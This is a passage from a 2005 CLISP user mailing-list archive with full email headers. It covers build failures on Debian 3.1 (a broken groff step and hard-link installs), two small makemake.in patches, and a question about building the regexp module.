comes from, and report the bug accordingly. > Workaround was to build in /tmp which fails with > ... > groff -Tdvi -mandoc clisp.1 > clisp.dvi > groff: can't find `DESC' file > groff:fatal error: invalid device `dvi' > make: *** [clisp.dvi] Error 3 > > for which Google turns up no fix. please report this to the debian groff package maintainers the trivial workaround is to type "make" again (you will get an empty clisp.dvi) > Someone reports the same trouble at > http://tunes.org/~nef/logs/lisp/05.03.23 it's amazing what lengths people would go to just to avoid RTFM. bletch. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://pmw.org.il/ http://www.iris.org.il http://www.camera.org http://www.honestreporting.com Bill Gates is great, as long as `bill' is a verb. From Devon@Jovi.Net Tue Nov 15 10:54:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec5wj-00015V-F3 for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 10:54:21 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ec5wi-0003dy-BO for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 10:54:21 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAFIrqrW078260 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Nov 2005 13:53:53 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAFIrmna078093; Tue, 15 Nov 2005 13:53:48 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511151853.jAFIrmna078093@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 15 Nov 2005 11:21:08 -0500) References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> X-Spam-Status: No, score=-3.8 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 15 Nov 2005 13:54:02 -0500 (EST) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 10:55:02 2005 X-Original-Date: Tue, 15 Nov 2005 13:53:48 -0500 (EST) From: Sam Steingold Date: Tue, 15 Nov 2005 11:21:08 -0500 "installing foo as ..../foo" is a message from install.sh or something. please look at build-dir/po/Makefile and find out what INSTALL is set to, where it comes from, and report the bug accordingly. I did identify the file as clisp-2.35/src/makemake.in and did suggest a more robust install-by-hard-link, is this not the best fix? it's amazing what lengths people would go to just to avoid RTFM. bletch. Should I report that Google failed to properly index TFM? Tee hee hee. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From Devon@Jovi.Net Tue Nov 15 11:30:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec6VX-0002oa-1l for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 11:30:19 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ec6VV-0001T2-I8 for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 11:30:19 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAFJTsNb039706 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Nov 2005 14:29:55 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAFJTs4s039689; Tue, 15 Nov 2005 14:29:54 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511151929.jAFJTs4s039689@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 15 Nov 2005 11:21:08 -0500) References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> X-Spam-Status: No, score=-3.7 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 15 Nov 2005 14:30:02 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 11:31:01 2005 X-Original-Date: Tue, 15 Nov 2005 14:29:54 -0500 (EST) To be precise, change the definition of LN_HARD clisp-2.35/src/makemake.in ... # LN_HARD = command for copying files, saving disk space if possible if [ "$HSYSOS" = beos ] ; then # The BeOS 5 filesystem has only symbolic links, no hard links. LN_HARD='cp -p' else LN_HARD='ln' fi ... from 'ln' to something like 'LN_OR_CP' which could be defined in bash as LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; } which should work even on AFS servers. What, no lambda? How to make it work? Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From Devon@Jovi.Net Tue Nov 15 11:40:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec6fW-0003GY-K3 for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 11:40:38 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ec6fV-0006et-Ct for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 11:40:38 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAFJeKVi049356 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Nov 2005 14:40:21 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAFJeKLk049353; Tue, 15 Nov 2005 14:40:20 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511151940.jAFJeKLk049353@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 15 Nov 2005 11:21:08 -0500) References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> X-Spam-Status: No, score=-3.7 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 15 Nov 2005 14:40:26 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 11:41:04 2005 X-Original-Date: Tue, 15 Nov 2005 14:40:20 -0500 (EST) As for that losing groff, if the workaround is simply $ make a second time, how about a friendly message saying so right there in the installer output? E.g., echo a message before running groff or after groff returns an error status. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Tue Nov 15 12:11:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec79W-0004XN-Cj for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 12:11:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ec79U-0001AV-KO for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 12:11:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAFKB1ka007387; Tue, 15 Nov 2005 15:11:05 -0500 (EST) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511151853.jAFIrmna078093@grant.org> (Devon Sean McCullough's message of "Tue, 15 Nov 2005 13:53:48 -0500 (EST)") References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151853.jAFIrmna078093@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 12:12:03 2005 X-Original-Date: Tue, 15 Nov 2005 15:10:03 -0500 > * Devon Sean McCullough [2005-11-15 13:53:48 -0500]: > > From: Sam Steingold > Date: Tue, 15 Nov 2005 11:21:08 -0500 > > "installing foo as ..../foo" is a message from install.sh or something. > please look at build-dir/po/Makefile and find out what INSTALL is set > to, where it comes from, and report the bug accordingly. > > I did identify the file as clisp-2.35/src/makemake.in ... incorrectly > and did suggest a more robust install-by-hard-link, > is this not the best fix? no. I repeat: the message "installing ... as ..." does _NOT_ come from makemake. your fix will _NOT_ help. please follow the instructions above. > it's amazing what lengths people would go to just to avoid RTFM. > bletch. > > Should I report that Google failed to properly index TFM? I meant the people who were talking on that chat, not you. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.memri.org/ http://www.iris.org.il http://www.dhimmi.com/ http://www.mideasttruth.com/ I haven't lost my mind -- it's backed up on tape somewhere. From sds@gnu.org Tue Nov 15 12:19:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec7H6-0004qn-RY for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 12:19:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ec7H5-0002oE-9Q for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 12:19:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAFKJ2hJ008023; Tue, 15 Nov 2005 15:19:02 -0500 (EST) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511151940.jAFJeKLk049353@grant.org> (Devon Sean McCullough's message of "Tue, 15 Nov 2005 14:40:20 -0500 (EST)") References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151940.jAFJeKLk049353@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 12:20:02 2005 X-Original-Date: Tue, 15 Nov 2005 15:18:03 -0500 > * Devon Sean McCullough [2005-11-15 14:40:20 -0500]: > > As for that losing groff, > if the workaround is simply $ make > a second time, how about a friendly message > saying so right there in the installer output? > E.g., echo a message before running groff > or after groff returns an error status. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://truepeace.org http://www.iris.org.il http://www.camera.org http://www.dhimmi.com/ http://www.jihadwatch.org/ The only guy who got all his work done by Friday was Robinson Crusoe. --- makemake.in 11 Nov 2005 11:47:25 -0500 1.617 +++ makemake.in 15 Nov 2005 15:17:21 -0500 @@ -3462,23 +3462,23 @@ if test -n "$GROFF"; then echol "clisp.dvi : clisp.1" - echotab "\$(ROFF_DVI) clisp.1 > clisp.dvi" + echotab "\$(ROFF_DVI) clisp.1 > clisp.dvi || echo 'broken groff -- ignored'" echol echol "clisp.ps : clisp.1" - echotab "\$(ROFF_PS) clisp.1 > clisp.ps" + echotab "\$(ROFF_PS) clisp.1 > clisp.ps || echo 'broken groff -- ignored'" echol # Use dvipdf, not ps2pdf, to generate clisp.pdf, because ps2pdf generates # bad quality output: It puts an undesired space after "fi", such as in # "file". if test -n "$DVIPDF"; then echol "clisp.pdf : clisp.dvi" - echotab "\$(DVIPDF) clisp.dvi clisp.pdf" + echotab "\$(DVIPDF) clisp.dvi clisp.pdf || echo 'broken groff -- ignored'" echol fi fi echol "clisp.man : clisp.1" -echotab "\$(ROFF_MAN) clisp.1 > clisp.man" +echotab "\$(ROFF_MAN) clisp.1 > clisp.man || echo 'broken groff -- ignored'" echol for f in $DOC ; do From sds@gnu.org Tue Nov 15 12:25:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec7NE-00053P-Fx for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 12:25:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ec7N9-00005Q-GT for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 12:25:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAFKPI6m008425; Tue, 15 Nov 2005 15:25:18 -0500 (EST) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511151929.jAFJTs4s039689@grant.org> (Devon Sean McCullough's message of "Tue, 15 Nov 2005 14:29:54 -0500 (EST)") References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151929.jAFJTs4s039689@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACE_CLOSE BODY: Text interparsed with } 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 12:26:03 2005 X-Original-Date: Tue, 15 Nov 2005 15:24:20 -0500 > * Devon Sean McCullough [2005-11-15 14:29:54 -0500]: > > To be precise, change the definition of LN_HARD > > clisp-2.35/src/makemake.in > ... > # LN_HARD = command for copying files, saving disk space if possible > if [ "$HSYSOS" = beos ] ; then > # The BeOS 5 filesystem has only symbolic links, no hard links. > LN_HARD='cp -p' > else > LN_HARD='ln' > fi > ... > from 'ln' to something like 'LN_OR_CP' > which could be defined in bash as > > LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; } > > which should work even on AFS servers. oh I now see what you were talking about... please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.iris.org.il http://www.camera.org http://truepeace.org http://www.dhimmi.com/ http://www.savegushkatif.org Life is like a diaper -- short and loaded. --- makemake.in 11 Nov 2005 11:47:25 -0500 1.617 +++ makemake.in 15 Nov 2005 15:23:47 -0500 @@ -501,6 +501,7 @@ # srcdir='@srcdir@' # either '.' or '../src', see above CP='@CP@' # either 'cp -p' or 'cp' LN_S='@LN_S@' # either 'ln -s' or 'ln' + LN='@LN@' # either 'ln' or ${CP} HLN='@HLN@' # either 'ln' or 'hln' CC="@CC@" # either 'gcc -O' or 'cc' CPP="@CPP@" # either $CC' -E' or '/lib/cpp' @@ -913,14 +914,9 @@ fi # LN_HARD = command for copying files, saving disk space if possible -if [ "$HSYSOS" = beos ] ; then - # The BeOS 5 filesystem has only symbolic links, no hard links. - LN_HARD='cp -p' -else - LN_HARD='ln' -fi +LN_HARD=${LN-ln} -# LN = command for making hard links ($HOS = unix only) +# HLN = command for making hard links ($HOS = unix only) if [ "$HLN" = hln ] ; then HLN="${HERE}hln" fi From sds@gnu.org Tue Nov 15 14:52:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec9f7-0002tR-6s for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 14:52:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ec9f5-0005cs-Vv for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 14:52:25 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAFMpv7M018910; Tue, 15 Nov 2005 17:51:58 -0500 (EST) To: clisp-list@lists.sourceforge.net Cc: Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Tue, 15 Nov 2005 15:18:03 -0500") References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> <200511151940.jAFJeKLk049353@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: "please try the appended patch" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 14:53:02 2005 X-Original-Date: Tue, 15 Nov 2005 17:50:59 -0500 > * Sam Steingold [2005-11-15 15:18:03 -0500]: > > please try the appended patch. clarification: this phrase means: if this works for you, this _may_ be included in the cvs tree. if I never hear from you, this will probably _not_ be included in the cvs tree. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.jihadwatch.org/ http://www.iris.org.il http://www.palestinefacts.org/ Never succeed from the first try - if you do, nobody will think it was hard. From guadarrama@in.tu-clausthal.de Tue Nov 15 15:14:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EcA0s-0003kl-Rf for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 15:14:54 -0800 Received: from zaphod.in.tu-clausthal.de ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EcA0r-0001P0-7t for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 15:14:54 -0800 Received: from [192.168.0.250] (p54864FFE.dip.t-dialin.net [84.134.79.254]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id A7C302E8003 for ; Wed, 16 Nov 2005 00:14:35 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <1aab435230c1a4d33a2e081a38231ca9@in.tu-clausthal.de> Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 DEAR_SOMETHING BODY: Contains 'Dear (something)' Subject: [clisp-list] REGEXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 15:15:01 2005 X-Original-Date: Wed, 16 Nov 2005 00:14:29 +0100 Dear Sir, Thanks a lot for your valuable help and sorry for my erroneous previous subject. On the other hand, I'm afraid we've got different versions: could you please tell me where configure is located? what about build-re directory? Sorry, but I haven't been able to find that information in the web pages. Thanks in advance! -- Yours faithfully, Juan C. Acosta Guadarrama Home page: http://www.in.tu-clausthal.de/~guadarrama On 14 Nov 2005, at 17:30, Sam Steingold wrote: >> * Juan C.Acosta Guadarrama >> [2005-11-14 04:54:36 +0100]: >> >> does anyone know where I may get REGEXP package for my CLisp version? > > what does this have to do with "non-interactive clisp"? > > build: > $ ./configure --with-module=regexp --build build-re > > run: > $ ./build-re/clisp -K full > > read: > http://clisp.cons.org/impnotes/faq.html#faq-modules > http://clisp.cons.org/impnotes/regexp-mod.html > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > http://www.palestinefacts.org/ http://www.jihadwatch.org/ > http://www.memri.org/ > http://www.honestreporting.com http://www.openvotingconsortium.org/ > Only adults have difficulty with child-proof caps. > Dear Sir/Madam, Thanks in advance. -- Yours faithfully, Juan C. Acosta Guadarrama http://www.in.tu-clausthal.de/~guadarrama From sds@gnu.org Tue Nov 15 15:39:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EcAOo-0004lP-4E for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 15:39:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EcAOm-0008B1-Op for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 15:39:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAFNdFBU021848; Tue, 15 Nov 2005 18:39:16 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1aab435230c1a4d33a2e081a38231ca9@in.tu-clausthal.de> (Juan C. Acosta Guadarrama's message of "Wed, 16 Nov 2005 00:14:29 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> <1aab435230c1a4d33a2e081a38231ca9@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: REGEXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 15:40:05 2005 X-Original-Date: Tue, 15 Nov 2005 18:38:17 -0500 > * Juan C.Acosta Guadarrama [2005-11-16 00:14:29 +0100]: > > On the other hand, I'm afraid we've got different versions: could you > please tell me where configure is located? what about build-re > directory? 1. what is your platform? (uname -a) 2. where did you get your clisp? sources? binaries? >> build: >> $ ./configure --with-module=regexp --build build-re >> >> run: >> $ ./build-re/clisp -K full >> >> read: >> http://clisp.cons.org/impnotes/faq.html#faq-modules >> 